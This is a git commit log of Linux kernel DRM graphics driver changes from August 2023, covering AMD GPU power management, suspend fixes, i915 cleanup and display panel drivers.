2023-08-16drm/amdgpu: disable mcbp if parameter zero is setJiadong Zhu2-5/+6
The parameter amdgpu_mcbp shall have priority against the default value calculated from the chip version. User could disable mcbp by setting the parameter mcbp as zero. v2: do not trigger preemption in sw ring muxer when mcbp is disabled. Signed-off-by: Jiadong Zhu <[email protected]> Acked-by: Alex Deucher <[email protected]> Signed-off-by: Alex Deucher <[email protected]>
2023-08-16drm/i915/display: Remove unused POWER_DOMAIN_MASKGustavo Sousa1-2/+0
That macro became unused with commit 323286c81245 ("drm/i915: Move the power domain->well mappings to intel_display_power_map.c"). Signed-off-by: Gustavo Sousa <[email protected]> Reviewed-by: Matt Roper <[email protected]> Signed-off-by: Matt Roper <[email protected]> Link: https://patchwork.freedesktop.org/patch/msgid/[email protected]
2023-08-16drm/panel: Add driver for JDI LPM102A188ADiogo Ivo3-0/+563
The JDI LPM102A188A is a 2560x1800 IPS panel found in the Google Pixel C. This driver is based on the downstream GPLv2 driver released by Google written by Sean Paul [1], which was then adapted to the newer kernel APIs. [1]: https://android.googlesource.com/kernel/tegra/+/refs/heads/android-tegra-dragon-3.18-oreo/drivers/gpu/drm/panel/panel-jdi-lpm102a188a.c Signed-off-by: Diogo Ivo <[email protected]> Reviewed-by: Neil Armstrong <[email protected]> Signed-off-by: Neil Armstrong <[email protected]> Link: https://patchwork.freedesktop.org/patch/msgid/[email protected]
2023-08-16drm/panel: simple: Fix Innolux G156HCE-L01 LVDS clockLuca Ceresoli1-1/+1
This panel has been implemented in commit eae7488814b5 ("drm/panel-simple: Add Innolux G156HCE-L01 panel entry") with a higher clock than the typical one mentioned on the documentation to avoid flickering on the unit tested. Testing on a different unit shows that the panel actually works with the intended 70.93 MHz clock and even lower frequencies so the flickering is likely caused either by a defective unit or by other different components such as the bridge. Fixes: eae7488814b5 ("drm/panel-simple: Add Innolux G156HCE-L01 panel entry") Signed-off-by: Luca Ceresoli <[email protected]> Tested-by: Marek Vasut <[email protected]> # MX8MM with LT9211 Reviewed-by: Marek Vasut <[email protected]> [narmstrong: fixed commit id in commit msg] Signed-off-by: Neil Armstrong <[email protected]> Link: https://patchwork.freedesktop.org/patch/msgid/[email protected]
2023-08-16drm/amd/pm: disallow the fan setting if there is no fan on smu 13.0.0Kenneth Feng1-0/+4
drm/amd/pm: disallow the fan setting if there is no fan on smu 13.0.0 V2: depend on pm.no_fan to check Signed-off-by: Kenneth Feng <[email protected]> Reviewed-by: Alex Deucher <[email protected]> Reviewed-by: Lijo Lazar <[email protected]> Signed-off-by: Alex Deucher <[email protected]> Cc: [email protected]
2023-08-16Revert "Revert "drm/amdgpu/display: change pipe policy for DCN 2.0""Alex Deucher1-1/+1
This reverts commit 27dd79c00aeab36cd7542c7a4481a32549038659. It appears MPC_SPLIT_DYNAMIC still causes problems with multiple displays on DCN2.0 hardware. Switch back to MPC_SPLIT_AVOID_MULT_DISP. This increases power usage with multiple displays, but avoids hangs. Link: https://gitlab.freedesktop.org/drm/amd/-/issues/2475 Cc: Rodrigo Siqueira <[email protected]> Reviewed-by: Harry Wentland <[email protected]> Signed-off-by: Alex Deucher <[email protected]>
2023-08-16drm/amdgpu: Add memory vendor informationLijo Lazar1-8/+18
For ASICs with GC v9.4.3, determine the vendor information from scratch register. Signed-off-by: Lijo Lazar <[email protected]> Reviewed-by: Hawking Zhang <[email protected]> Signed-off-by: Alex Deucher <[email protected]>
2023-08-16drm/amd: flush any delayed gfxoff on suspend entryMario Limonciello2-8/+2
DCN 3.1.4 is reported to hang on s2idle entry if graphics activity is happening during entry. This is because GFXOFF was scheduled as delayed but RLC gets disabled in s2idle entry sequence which will hang GFX IP if not already in GFXOFF. To help this problem, flush any delayed work for GFXOFF early in s2idle entry sequence to ensure that it's off when RLC is changed. commit 4b31b92b143f ("drm/amdgpu: complete gfxoff allow signal during suspend without delay") modified power gating flow so that if called in s0ix that it ensured that GFXOFF wasn't put in work queue but instead processed immediately. This is dead code due to commit 10cb67eb8a1b ("drm/amdgpu: skip CG/PG for gfx during S0ix") because GFXOFF will now not be explicitly called as part of the suspend entry code. Remove that dead code. Signed-off-by: Mario Limonciello <[email protected]> Signed-off-by: Tim Huang <[email protected]> Reviewed-by: Lijo Lazar <[email protected]> Signed-off-by: Alex Deucher <[email protected]>
2023-08-16drm/amdgpu: skip fence GFX interrupts disable/enable for S0ixTim Huang1-2/+39
GFX v11.0.1 reported fence fallback timer expired issue on SDMA and GFX rings after S0ix resume. This is generated by EOP interrupts are disabled when S0ix suspend but fails to re-enable when resume because of the GFX is in GFXOFF. [ 203.349571] [drm] Fence fallback timer expired on ring sdma0 [ 203.349572] [drm] Fence fallback timer expired on ring gfx_0.0.0 [ 203.861635] [drm] Fence fallback timer expired on ring gfx_0.0.0 For S0ix, GFX is in GFXOFF state, avoid to touch the GFX registers to configure the fence driver interrupts for rings that belong to GFX. The interrupts configuration will be restored by GFXOFF exit. Signed-off-by: Tim Huang <[email protected]> Reviewed-by: Mario Limonciello <[email protected]> Signed-off-by: Alex Deucher <[email protected]>
2023-08-16drm/amdgpu: Remove gfxoff check in GFX v9.4.3Lijo Lazar1-2/+0
GFXOFF feature is not there for GFX 9.4.3 ASICs. Signed-off-by: Lijo Lazar <[email protected]> Reviewed-by: Hawking Zhang <[email protected]> Signed-off-by: Alex Deucher <[email protected]>
2023-08-16drm/amd/pm: Update pci link speed for smu v13.0.6Asad Kamal7-6/+36
Update pcie link speed registers for smu v13.0.6 & populate gpu metric table with pcie link speed rather than gen for smu v13_0_0, smu v13_0_6 & smu v13_0_7 v2: Update ESM register address Used macro to convert pcie gen to speed v3: Chaged macro to inline function for pcie gen to speed Signed-off-by: Asad Kamal <[email protected]> Reviewed-by: Lijo Lazar <[email protected]> Signed-off-by: Alex Deucher <[email protected]>
2023-08-16drm/amd/pm: allow the user to force BACO on smu v13.0.0/7Kenneth Feng3-3/+5
allow the user to force BACO on smu v13.0.0/7 Signed-off-by: Kenneth Feng <[email protected]> Acked-by: Alex Deucher <[email protected]> Signed-off-by: Alex Deucher <[email protected]>
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